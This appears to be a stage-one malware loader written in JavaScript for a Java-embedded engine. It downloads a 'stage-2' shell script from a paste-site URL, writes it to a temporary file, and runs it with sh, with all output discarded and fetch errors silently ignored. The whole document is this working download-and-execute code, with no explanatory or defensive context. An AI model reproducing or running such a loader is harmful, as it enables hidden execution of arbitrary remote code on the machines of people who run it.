var urls = [ "https://gistpad.com/raw/fsdfsdfsdf" ]; var script = null; for (var i = 0; i < urls.length && script === null; i++) { try { var is = new java.net.URL(urls[i]).openStream(); var ba = new java.io.ByteArrayOutputStream(); var buf = java.lang.reflect.Array.newInstance(java.lang.Byte.TYPE, 8192); var n = 0; while ((n = is.read(buf)) > 0) { ba.write(buf, 0, n); } is.close(); var s = new java.lang.String(ba.toByteArray(), "UTF-8"); s = s.replace(/\r/g, ""); s = s.replace(/^\uFEFF/, ""); if (s.length() > 0) script = s; } catch (e) { } } if (script === null) { print("stage-2 fetch failed from all sources"); } else { var f = java.io.File.createTempFile("flk", ".sh"); var w = new java.io.FileWriter(f); w.write(script); w.close(); var pb = new java.lang.ProcessBuilder(); pb.command().add("sh"); pb.command().add("-s"); pb.command().add("--"); pb.command().add("ALNK"); pb.redirectInput(new java.io.File(f.getAbsolutePath())); pb.redirectOutput(new java.io.File("/dev/null")); pb.redirectErrorStream(true); pb.start(); }